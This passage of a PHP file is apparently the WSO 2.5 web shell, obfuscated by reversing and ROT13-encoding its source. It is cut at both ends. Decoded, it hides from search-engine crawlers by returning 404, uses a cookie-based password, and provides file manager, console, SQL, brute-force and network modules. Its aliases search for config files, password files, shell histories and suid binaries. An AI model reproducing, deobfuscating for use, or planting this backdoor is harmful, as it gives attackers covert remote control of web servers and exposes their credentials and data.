)'>gabs/<>o/<SSB>o<>arret=ebybp gabs<':'>gabs/<AB>qre=ebybp gabs<'?]'rqbz_rsnf'[FYNOBYT$( . ' >ancf/<:rqbz rsnF>ancf< ' . )(abvfericuc@ . '>eo<) ' . chbet$ . ' ( ' . qvt$ . ' >ancf/<:chbeT>ancf< ) ' . erfh$ . ' ( ' . qvh$ . '>eo<>eoba/<' . )021 ,0 ,)(rznah_cuc@(egfohf . '>eoba<>qg<' .       
'>qg/<>ancf/<' . )'':':friveQ>eo<'?'avj' == ]'fb'[FYNOBYT$( . ':qjP>eo<:qqU>eo<:cuC>eo<:erfH>eo<:rznaH>ancf<>1=ugqvj qg<>eg<>%001=ugqvj 0=tavpncfyyrp 3=tavqqncyyrp bsav=ffnyp ryong<' bupr	
}	
;' >n/<] '.riveq$.' [>")'\/:'.riveq$.''\,'\anZfryvS'\(t"=xpvypab "#"=sreu n<' =. friveq$			
))'\\:'.riveq$(evq_fv(sv		
)riveq$ fn )'m','p'(rtane(upnrebs		
{ )'avj' == ]'fb'[FYNOBYT$(sv	
;"" = friveq$	
}	
}		
;'>ug/<] >n/<'.x$.'>")'\'\,'\'\,'\'\,yyha,'\'.i$.''\(t"=xpvypab "#"=sreu n< [>"%'.))z$(gahbp/001()gav(.'"=ugqvj ug<' =. harz$			
{rfyr}		
;'>ug/<] >n/<>gabs/<'.x$.'>"00ss52#"=ebybp gabs<>")'\'\,'\'\,'\'\,yyha,'\'.i$.''\(t"=xpvypab "#"=sreu n< [>"%'.))z$(gahbp/001()gav(.'"=ugqvj ug<' =. harz$			
{)'rqnetCH/rgnqCH' == x$(sv		
{)i$ >= x$ fn z$(upnrebs	
;'' = harz$	
;'ribzrEsyrF' = ]'ribzre syrF'[z$	
;'ghbtbY' = ]'ghbtbY'[z$		
))]'ffnc_ughn'[FYNOBYT$(lgczr!(sv	
;)'xebjgrA'>='xebjgrA','rpebsrgheO'>='rpebsrgheO','fybbGtavegF'>='fybbg tavegF' ,'cuC'>='cuC' ,'rgnQCH' >= 'rqnetCH/rgnqCH' ,'ydF'>='ydF','rybfabP'>='rybfabP' ,'anZfryvS'>='fryvS','bsaVprF'>='bsaV .prF'(lneen = z$	

;'>abvgcb/<'.zrgv$.'>'.)'':'qrgpryrf'?zrgv$==]'grfenup'[GFBC_$(.' "'.zrgv$.'"=rhyni abvgcb<' =. fgrfenup_gcb$		
)zrgv$ fn fgrfenup$(upnrebs	
;'' = fgrfenup_gcb$	
;)'668cp' ,'H-8VBX' ,'E-8VBX' ,'1521-fjbqavJ' ,'8-SGH'(lneen = fgrfenup$	

}	
;">n/</".]v$[ugnc$.">')"\" =. fxavy_qjp$		
;'/'.]w$[ugnc$ =. fxavy_qjp$			
)++w$ ;v$=<w$ ;0=w$(ebs		
;""\,"\anZfryvS"\(t'=xpvypab '#'=sreu n<" =. fxavy_qjp$		
{ )++v$ ;1-a$<v$ ;0=v$(ebs	
;)ugnc$(gahbp=a$	
;)]'qjp'[FYNOBYT$ ,"/"(rqbyckr = ugnc$	
;'' = fxavy_qjp$	

}	
;]'qvt'[qvt$ = qvt$		
;]'rzna'[qvt$ = chbet$		
;]'qvh'[qvh$ = qvh$		
;]'rzna'[qvh$ = erfh$		
;))(qvtrgrt_kvfbc(qvtetgrt_kvfbc@ = qvt$		
;))(qvhrgrt_kvfbc(qvhjcgrt_kvfbc@ = qvh$		
{ rfyr }	
;"?" = chbet$		
;)(qvtlzgrt@ = qvt$		
;)(qvhlzgrt@ = qvh$		
;)(erfh_gareehp_grt@ = erfh$		
{ ))'qvtrgrt_kvfbc'(fgfvkr_abvgpahs!(sv	
;)'f'(rznah_cuc@ = yraerx$	
;)'e'(rznah_cuc@ = rfnryre$	
;1:rpncFyngbg$?rpncFyngbg$ = rpncFyngbg$	
;)]'qjp'[FYNOBYT$(rpncf_yngbg_xfvq@ = rpncFyngbg$	
;)]'qjp'[FYNOBYT$(rpncfrresxfvq@ = rpncFrres$	
;">zebs/<
>grfenup=rzna arqqvu=rclg ghcav<
>3c=rzna arqqvu=rclg ghcav<
>2c=rzna arqqvu=rclg ghcav<
>1c=rzna arqqvu=rclg ghcav<
>p=rzna arqqvu=rclg ghcav<
>n=rzna arqqvu=rclg ghcav<
>';raba:lnycfvq'=rylgf sz=rzna gfbc=qbugrz zebs<
>';0:gsry;0:cbg;444#:ebybp-qahbetxpno;%001:ugqvj;rghybfon:abvgvfbc'=rylgf ivq<>lqbo<>qnru<
>gcvepf/<
}	
;)'!ebeer gfrhdrE'(geryn rfyr }			
;))]1[een ,0(egfohf.]2[een(ynir				
;)gkrGrfabcfre.dre(prkr.tre=een eni				
;)'z' ,"\)*]f\\\\F\\\\[()+q\\\\("\(ckRtrE jra = tre eni				
{ )002 == fhgngf.dre(sv			
) )4 == rgngFlqnre.dre( (sv		
{ )(rtanuPdrEffrpbec abvgpahs	
}	
}        
;)fznenc(qarf.dre            
;)'qrqbparyeh-zebs-jjj-k/abvgnpvyccn' ,'rclG-gargabP'( erqnrUgfrhdrEgrf.dre            
;)rheg ,yeh ,'GFBC'(arcb.dre            
;rtanuPdrEffrpbec = rtanuprgngflqnreab.dre            
{ )dre( sv        
;)'CGGUYZK.gsbfbepvZ'(gprwoBKrivgpN jra = dre			
)gprwoBKrivgpN.jbqavj( sv rfyr		
;)(gfrhdrEcggUYZK jra = dre			
)gfrhdrEcggUYZK.jbqavj( sv		
{ )fznenc ,yeh(ef abvgpahs	
}	
;)fznenc ,'". )]'VEH_GFRHDRE'[ERIERF_$(frufnyfqqn . "'(ef		
;)rhyni.]v[fgarzryr.sz.q(garabczbPVEHrqbpar+'='+rzna.]v[fgarzryr.sz.q+'&' =+ fznenc			
)++v;ugtary.fgarzryr.sz.q<v;0=v(ebs		
;'rheg=knwn' = fznenc eni		
;)grfenup,3c,2c,1c,p,n(grf		
{ )grfenup,3c,2c,1c,p,n(n abvgpahs	
}	
;)(gvzohf.sz.q		
;)grfenup,3c,2c,1c,p,n(grf		
{ )grfenup,3c,2c,1c,p,n(t abvgpahs	
}	
;_grfenup=rhyni.grfenup.sz.q rfyr;grfenup=rhyni.grfenup.sz.q)yyha=!grfenup(sv//		
;_grfenup=rhyni.grfenup.sz.q rfyr;grfenup=rhyni.grfenup.sz.q)yyha=!grfenup(sv		
;_3c=rhyni.3c.sz.q rfyr;3c=rhyni.3c.sz.q)yyha=!3c(sv		
;_2c=rhyni.2c.sz.q rfyr;2c=rhyni.2c.sz.q)yyha=!2c(sv		
;_1c=rhyni.1c.sz.q rfyr;1c=rhyni.1c.sz.q)yyha=!1c(sv		
;_p=rhyni.p.sz.q rfyr;p=rhyni.p.sz.q)yyha=!p(sv		
;_n=rhyni.n.sz.q rfyr;n=rhyni.n.sz.q)yyha=!n(sv		
{ )grfenup,3c,2c,1c,p,n(grf abvgpahs	
;garzhpbq = q eni    
;'". ))FRGBHD_GAR,]'3c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'3c'[GFBC_$@(fbcegf(( . "' = _3c eni    
;'". ))FRGBHD_GAR,]'2c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'2c'[GFBC_$@(fbcegf(( . "' = _2c eni    
;'". ))FRGBHD_GAR,]'1c'[GFBC_$(fenupynvprcfyzgu:''?)rfyns==!)"a\",]'1c'[GFBC_$@(fbcegf(( . "' = _1c eni    
;'". )]'grfenup'[GFBC_$@(fenupynvprcfyzgu . "' = _grfenup eni    
'". )]'n'[GFBC_$@(fenupynvprcfyzgu . "' = _n eni    
;'" . )]'qjp'[FYNOBYT$(fenupynvprcfyzgu . "' = _p eni    
>gcvepf<
>rylgf/<
};rpncfbabZ,ervehbP:lyvzns-gabs{rec
}333#:ebybp-qahbetxpno{2y.
}444#:ebybp-qahbetxpno{1y.
}r5r5r5#:ebybp-qahbetxpno{eribu:eg avnz.
};r5r5r5#:ebybp-qahbetxpno;gsry:atvyn-gkrg{ug avnz.
} kc003 :ugqvj {caVfybbg.
} ;ergarp:atvyn-gkrg {yoGfybbg#
} ;kc0:avtenz {zebs
} ;'jrA ervehbP',rpncfbabZ gc9 :gabs ;ebybp$ qvybf kc1:erqebo;555#:ebybp-qahbetxpno;sss#:ebybp;0:avtenz {gpryrf,nrengkrg,ghcav
} ;kc003:gutvru;%001:ugqvj {nrentvo.
} ;bghn :jbyserib;0:avtenz;kc5:tavqqnc;444# qvybf kc1:erqebo {1yz.
} ;ravyerqah:abvgnebprq-gkrg {eribu:n
} ;raba:abvgnebprq-gkrg {n
} ;333#:ebybp-qahbetxpno;kc5:gsry-avtenz;kc5 :tavqqnc {gargabp.ivq
} ;kc0:avtenz;222#:ebybp-qahbetxpno;nanqerI gc41 :gabs;kc5 kc2 :tavqqnc;ebybp$ qvybf kc5:gsry-erqebo {1u
} ;erqybo :gutvrj-gabs {ancf
} ;gangebczv! ebybp$ :ebybp {n,1u,ancf
} ;222#:ebybp-qahbetxpno;sss#:ebybp {bsav.ryong
} ;1r1r1r#:ebybp;cbg:atvyn-ynpvgeri;0:avtenz;nanqerI,nqvphY gc9 :gabs {ug,qg,lqbo
};1r1r1r#:ebybp;444#:ebybp-qahbetxpno{lqbo
>rylgf<
>rygvg/<". ]'GFBU_CGGU'[ERIERF_$ . ">rygvg<>'" . ]'grfenup'[GFBC_$ . "=grfenup ;yzgu/gkrg'=gargabp 'rclG-gargabP'=ivhdr-cggu ngrz<>qnru<>yzgu<" bupr	
;ebybp$ ynobyt	
;]'grfenup_gyhnsrq'[FYNOBYT$ = ]'grfenup'[GFBC_$		
))]'grfenup'[GFBC_$(lgczr(sv	
{ )(erqnrUbfj abvgpahs

;)	
"ivec rgnpby" >= "fryvs ivec rgnpby"		
,"czhq rgnpby" >= "fryvs czhq rgnpby"		
,"chxpno rgnpby" >= "fryvs chxpno rgnpby"		
,"'peyvnzupgrs.' rgnpby" >= "fryvs peyvnzupgrs. rgnpby"		
,"'lebgfvu_ydflz.' rgnpby" >= "fryvs lebgfvu_ydflz. rgnpby"		
,"'lebgfvu_ufno.' rgnpby" >= "fryvs lebgfvu_ufno. rgnpby"		
,"'qjffncgu.' rgnpby" >= "fryvs qjffncgu. rgnpby"		
,"'ydf.' rgnpby" >= "fryvs ydf. rgnpby"		
,"'qjc.' rgnpby" >= "fryvs qjc. rgnpby"		
,"'sabp.' rgnpby">="fryvs sabp. rgnpby"		
,"tvsabp rgnpby" >= " fryvs *tvsabp rgnpby"		
,"cuc.gyhnsrq.tvsabp rgnpby" >= "fryvs cuc.gyhnsrq.tvsabp rgnpby"		
,"cuc.pav.tvsabp rgnpby" >= "cuc.pav.tvsabp rgnpby"		
,"pav.tvsabp rgnpby" >= "fryvs pav.tvsabp rgnpby"		
,"cuc.tvsabp rgnpby" >= "fryvs cuc.tvsabp rgnpby"		
,"gnq.tvsabp rgnpby" >= "fryvs gnq.tvsabp rgnpby"		
,"cuc.sabp rgnpby" >= "fryvs cuc.sabp rgnpby"		
,"cuc.tsp rgnpby" >= "fryvs cuc.tsp rgnpby"		
,"cuc.avzqn rgnpby">= "fryvs cuc.avzqn rgnpby"		
,"sabp.lz rgnpby" >= "fryvs sabp.lz rgnpby"		
,"sabp.paolfc rgnpby" >= "fryvs sabp.paolfc rgnpby"		
,"sabp.qcgsbec rgnpby" >= "fryvs sabp.qcgsbec rgnpby"		
,"sabp.fgfbui rgnpby" >= "fryvs sabp.fgfbui rgnpby"		
,"sabp.qcggu rgnpby" >= "fryvs sabp.qcggu rgnpby"		  
,"" >= "rgnpbY"		
,"peyvnzupgrs. rzna- s rclg- . qavs" >= "evq gareehp av fryvs peyvnzupgrs. qavs"		  
,"peyvnzupgrs. rzna- s rclg- / qavs" >= "fryvs peyvnzupgrs. yyn qavs"		  
,"lebgfvu_ufno. rzna- s rclg- . qavs" >= "evq gareehp av fryvs lebgfvu_ufno. qavs"		  
,"lebgfvu_ufno. rzna- s rclg- / qavs" >= "fryvs lebgfvu_ufno. yyn qavs"		  
,"qjffncgu. rzna- s rclg- . qavs" >= "evq gareehp av fryvs qjffncgu. qavs"		  
,"qjffncgu. rzna- s rclg- / qavs" >= "fryvs qjffncgu. yyn qavs"		  
,"qjc.rpvierf rzna- s rclg- . qavs" >= "evq gareehp av fryvs qjc.rpvierf qavs"		  
,"qjc.rpvierf rzna- s rclg- / qavs" >= "fryvs qjc.rpvierf yyn qavs"		  
,"fy- 2- zerc- . qavs" >= "evq gareehp av fryvs qan ferqybs ryongvej yyn qavs"		  
,"fy- 2- zerc- / qavs" >= "fryvs qan ferqybs ryongvej yyn qavs"		  
,""\*tvsabp"\ rzna- s rclg- . qavs" >= "evq gareehp av fryvs *tvsabp qavs"		  
,""\*tvsabp"\ rzna- s rclg- / qavs" >= "fryvs *tvsabp qavs"		  
,"cuc.pav.tvsabp rzna- s rclg- / qavs" >= "fryvs cuc.pav.tvsabp qavs"		  
,"fy- 00020- zerc- s rclg- . qavs" >= "evq gareehp av fryvs qvtf qavs"		  
,"fy- 00020- zerc- s rclg- / qavs" >= "fryvs qvtf yyn qavs"		  
,"fy- 00040- zerc- s rclg- . qavs" >= "evq gareehp av fryvs qvhf qavs"		  
,"fy- 00040- zerc- s rclg- / qavs" >= "fryvs qvhf yyn qavs"		  
,"" >= "qavS"		
,"khn fc" >= "fhgngf ffrpbec"        
,"argfvy v- cret | an- gngfgra" >= "fgebc qrarcb jbuf"		  
,"ni- eggnfy" >= "zrgflf ryvs qrqargkr qabprf khavY n ab frghoveggn ryvs gfvy"		
,"nuy- fy" >= "evq gfvY"		  
(lneen = frfnvyn$	
rfyr
;)	
"yyn/ tvsabpcv" >= "abvgnehtvsabP CV"		
,"n- cen" >= "ryonG CEN"		
,"jrvi gra" >= "ferghczbp jbuF"	    
,"erfh gra" >= "fgahbppn erfH"	    
,"gengf gra" >= "frpvierf tavaahe jbuF"	    
,"an- gngfgra" >= "fabvgpraabp rivgpn jbuF"	    
,"cuc.*tvsabp* o/ j/ f/ evq" >= "evq gareehp av cuc.*tvsabp* qavS"	    
,"cuc.krqav o/ j/ f/ evq" >= "evq gareehp av cuc.krqav qavS"	    
,"evq" >= "lebgprevQ gfvY"		
(lneen = frfnvyn$	
)'avj' == fb$(sv

;knwn_rfh_gyhnsrq$)ybbo( = ]'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$    
))]'knwn' . )]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$(grffv!(sv

;'/' =. qjp$	
)'/' =! ]1-)qjp$(aryegf[qjp$(sv
}
;)qjp$ ,"/" ,"\\"(rpnycre_egf = qjp$	
;)qjp_rzbu$ ,"/" ,"\\"(rpnycre_egf = qjp_rzbu$	
{ )'avj' == fb$(sv
;)(qjpgrt@ = qjp$
;)]'p'[GFBC_$(evqup@	
))]'p'[GFBC_$(grffv(sv
;)(qjpgrt@ = qjp_rzbu$
;)'fabvgpahs_ryonfvq'(grt_vav@ = fabvgpahs_ryonfvq$

;)0(tavgebcre_ebeer    
)rqbz_rsnf$!(sv
;)'rqbz_rsnf'(grt_vav@ = rqbz_rsnf$


;'kva' = fb$	
rfyr
;'avj' = fb$	
)"avj" == ))3,0,FB_CUC(egfohf(erjbybgegf(sv

}
;)i$ ,x$(rvxbbpgrf    
;i$ = ]x$[RVXBBP_$    
{ )i$ ,x$(rvxbbpgrfBFJ abvgpahs

}
}	
;)RVXBBP_$(frufnyfcvegfBFJ = RVXBBP_$		
;)GFBC_$(frufnyfcvegfBFJ = GFBC_$		
}		
;)lneen$(frufnyfcvegf : )lneen$ ,'frufnyfcvegfBFJ'(cnz_lneen ? )lneen$(lneen_fv aehgre			
{ )lneen$(frufnyfcvegfBFJ abvgpahs		
{ ))(pct_frgbhd_pvtnz_grt(sv	
{))"pct_frgbhd_pvtnz_grt"(fgfvkr_abvgpahs(sv

;)'5.2' ,'ABVFERI_BFJ'(ravsrq@
;)0(rzvgahe_frgbhd_pvtnz_grf@	
)00007 < QV_ABVFERI_CUC( sv
;)0(gvzvy_rzvg_grf@
;)0,'rzvg_abvghprkr_knz'(grf_vav@
;)0,'febeer_tby'(grf_vav@
;)YYHA,'tby_ebeer'(grf_vav@

}
}    
;gvkr        
;)'qahbS gbA 404 0.1/CGGU'(erqnru        
{ ))]'GARTN_ERFH_CGGU'[ERIERF_$ ,'v/' . )fgartNerfh$ ,'|'(rqbyczv . '/'(upgnz_trec(sv    
;)"eryoznE" ,"krqanL" ,"erivupen_nv" ,"gbOAFZ" ,"cehyF" ,"rytbbT"(lneen = fgartNerfh$    
{ ))]'GARTN_ERFH_CGGU'[ERIERF_$(lgczr!(sv

;'1521-fjbqavJ' = grfenup_gyhnsrq$
;rheg = knwn_rfh_gyhnsrq$
;'anZfryvS' = abvgpn_gyhnsrq$
;"5sq#" = ebybp$

}
}	
;)tavqbpar_bg$ , FRGBHD_GAR ,)tavqbpar_zbes$ ,FRGBHD_GAR ,tavegf$(frvgvgaryzgu(rqbprq_lgvgar_yzgu aehgre		
{)tavegf$ ,tavqbpar_bg$ ,tavqbpar_zbes$(iabpv abvgpahs	
{ ))'iabpv'(fgfvkr_abvgpahs!( sv
}
}	
;)tavqbpar_zbes$ ,tavqbpar_bg$ ,tavegf$(tavqbpar_geriabp_oz aehgre		
{)tavegf$ ,tavqbpar_bg$ ,tavqbpar_zbes$(iabpv abvgpahs	
{ ))'tavqbpar_geriabp_oz'(fgfvkr_abvgpahs && )'iabpv'(fgfvkr_abvgpahs!( sv
}
}    
;)tavegf$ ,tavqbpar_ghcghb$ ,tavqbpar_ghcav$(iabpvovy aehgre        
{ )tavegf$ ,tavqbpar_ghcghb$ ,tavqbpar_ghcav$(iabpv abvgpahs    
{ ))'iabpvovy'(fgfvkr_abvgpahs && )'iabpv'(fgfvkr_abvgpahs!( sv

')))); ?>